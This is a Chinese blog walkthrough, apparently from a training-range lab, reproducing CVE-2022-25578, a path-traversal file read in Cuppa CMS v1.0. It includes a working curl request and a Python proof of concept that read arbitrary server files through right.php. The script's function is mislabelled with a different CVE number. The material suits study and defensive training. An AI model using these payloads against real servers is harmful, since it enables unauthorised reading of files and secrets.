Cuppa CMS v1.0 任意文件读取漏洞(CVE-2022-25578)

前言

春秋云镜靶场是一个专注于网络安全培训和实战演练的平台,旨在通过模拟真实的网络环境和攻击场景,提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点:

实战演练:

提供各种网络安全攻防演练场景,模拟真实的网络攻击事件,帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。
漏洞复现:

用户可以通过平台对已知的安全漏洞进行复现,了解漏洞的产生原因、利用方法和修复措施。
通过实战操作,帮助用户掌握漏洞利用和防护的技能。
教学培训:

提供系统化的网络安全课程,从基础到高级,覆盖多个安全领域,适合不同水平的用户。
包含理论讲解和实战操作,帮助学员全面提升网络安全知识和实战能力。
竞赛与评测:

定期举办网络安全竞赛,如CTF(Capture The Flag)比赛,激发学员的学习兴趣和动力。
提供个人和团队的安全能力评测,帮助学员了解自己的安全技能水平。
资源共享:

平台提供丰富的学习资源,包括教程、工具、案例分析等,方便用户随时查阅和学习。
用户可以在社区中分享经验和资源,互相交流和学习。

春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人,通过在平台上进行不断的学习和实战演练,可以有效提升网络安全技能和防护能力。

介绍

Cuppa CMS 是一个开源的内容管理系统(CMS),它提供了一个简单易用的平台,让用户可以轻松创建和管理网站内容。以下是关于 Cuppa CMS 的一些基本信息:

主要特点

  1. 开源:Cuppa CMS 是完全开源的,这意味着用户可以自由地下载、修改和分发它。
  2. 易于使用:它提供了一个直观的用户界面,使得非技术用户也能轻松管理网站内容。
  3. 模块化:系统采用模块化设计,用户可以根据需要安装和启用不同的功能模块。
  4. 多语言支持:支持多种语言,方便进行国际化和本地化。
  5. 响应式设计:支持响应式设计,确保网站在各种设备上都能良好显示。
  6. SEO 优化:内置基本的搜索引擎优化(SEO)功能,帮助网站内容更好地被搜索引擎收录和索引。
  7. 社区支持:拥有活跃的开发社区和用户社区,用户可以在社区中获取支持、分享经验和解决问题。

功能

  • 内容管理:允许用户创建、编辑和管理网页内容,包括文本、图片和视频等。
  • 用户管理:提供用户权限管理功能,管理员可以定义不同用户角色及其对系统功能的访问权限。
  • 插件和扩展:支持通过插件和扩展来增强系统功能。
  • 模板系统:提供多种预设模板,用户可以根据需要选择或自定义模板。
  • 数据备份与恢复:支持数据的备份与恢复,确保网站数据的安全。

安全性

Cuppa CMS 致力于提供安全的管理平台,但和其他任何软件一样,它也可能存在安全漏洞。用户应定期更新系统和插件,以防止已知漏洞的利用。此外,合理的权限管理、输入验证和安全配置也是确保系统安全的重要措施。

社区

Cuppa CMS 拥有一个活跃的社区,用户可以在社区中获取帮助、分享经验、下载插件和模板等。社区的支持对于新用户和开发者来说都是非常重要的资源。

使用场景

Cuppa CMS 适合用于建设各种类型的网站,包括企业网站、个人博客、电子商务网站等。它的灵活性和易用性使其成为许多用户的首选 CMS。

总结

Cuppa CMS 是一个功能丰富且易于使用的开源内容管理系统,适合不同水平的用户。通过合理的配置和维护,用户可以利用它构建安全、稳定且功能强大的网站。

漏洞复现

打开靶场

可以看到是个登录框,但是咱们没有账号密码 

因为题目给出了具体位置,所以可以使用 curl 爆破访问

┌──(root㉿kali)-[~]
└─# curl -X POST "http://eci-2zef5x211e7htbzlsos8.cloudeci1.ichunqiu.com/templates/default/html/windows/right.php" -d "url=../../../flag"
<style>
    body{ overflow: hidden; }
    .w_right{
        position: fixed;
        background: #fff;
        top: 50px;
        bottom: 0px;
        right: 0px;
        width: 93%;
        z-index: auto ;
        right: -100%;
        overflow: auto;
        overflow-x: hidden;
        box-shadow: 0px 2px 8px rgba(0,0,0,0.2);
    }
/* Responsvie */
    .r1200 .w_right{ width: 99% !important; }
    .r1100 .w_right{ width: 100% !important; }
</style>
<script>
    w_right = {}
    //++ end
        w_right.end = function(){
            cuppa.removeEventGroup("w_right");
        }; cuppa.addRemoveListener(".w_right", w_right.end);
    //--
    //++ close
        w_right.close = function(){
            $(".ace_autocomplete").hide();
            var w_right = $(".w_right").last();
            TweenMax.to(w_right, 0.3, {right:"-100%", ease:Cubic.easeIn, onComplete:function(){
                cuppa.setContent({load:false, name:".window_right", last:true});
                cuppa.blockade({load:false, name:".blockade_w_right", duration:0.2, last:true});
                cuppa.tinyMCEDestroy();
            }});
        }
    //--
    //++ init
        w_right.init = function(){
            TweenMax.to(".w_right", 0.4, {right:0, ease:Cubic.easeOut});
        }; cuppa.addEventListener("ready",  w_right.init, document, "w_right");
    //--
</script>
<div class="w_right">
    flag{540cefe9-693e-4463-882f-cce203b8eeb2}</div>                                                                                                                                    

当然,也可以使用 Poc

import requests
from lxml import etree


headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 '
                  'Safari/537.36',
}


def CVE_2022_25401(url, fila_name):
    url += "/templates/default/html/windows/right.php"
    print(url)
    data = {
        "id": 1,
        "path": "component/table_manager/view/cu_views",
        "uniqueClass": "window_right_246232",
        "url": "../../../"+fila_name
    }
    res = requests.post(url, data=data, headers=headers)
    soup = etree.HTML(res.content)
    file_content = soup.xpath('//div[@class="w_right"]/text()')[0]
    print(file_content)


if __name__ == '__main__':
    url = "http://eci-2zef5x211e7htbzlsos8.cloudeci1.ichunqiu.com"
    file_name = "flag"
    CVE_2022_25401(url, file_name)
  • requests: 用于发送HTTP请求。
  • etree (来自 lxml): 用于解析HTML内容。
  • headers: 定义HTTP请求头,用于伪装成普通浏览器的请求,避免被服务器过滤。
  • url: 漏洞目标的基础URL。
  • fila_name: 要读取的文件名。
  • url += "/templates/default/html/windows/right.php": 构造目标请求URL,指向存在漏洞的PHP文件。
  • print(url): 打印构造的URL,便于调试。
  • data: 构造POST请求的数据。
    • "id": 1: 示例参数,通常用于指定某种ID。
    • "path": "component/table_manager/view/cu_views": 示例路径参数。
    • "uniqueClass": "window_right_246232": 示例参数,通常用于指定某种唯一标识。
    • "url": "../../../"+fila_name: 利用路径遍历漏洞,尝试读取服务器上任意位置的文件。
  • res = requests.post(url, data=data, headers=headers): 发送POST请求,尝试利用漏洞读取文件。
  • soup = etree.HTML(res.content): 使用 lxml 库解析返回的HTML内容。
  • file_content = soup.xpath('//div[@class="w_right"]/text()')[0]: 使用XPath语法从解析的HTML中提取目标文件内容。
  • print(file_content): 打印读取到的文件内容。
  • url: 漏洞目标的基础URL。
  • file_name: 要读取的文件名。
  • 调用 CVE_2022_25401 函数,传入目标URL和文件名,尝试读取服务器上的文件内容。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Suc2es2

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值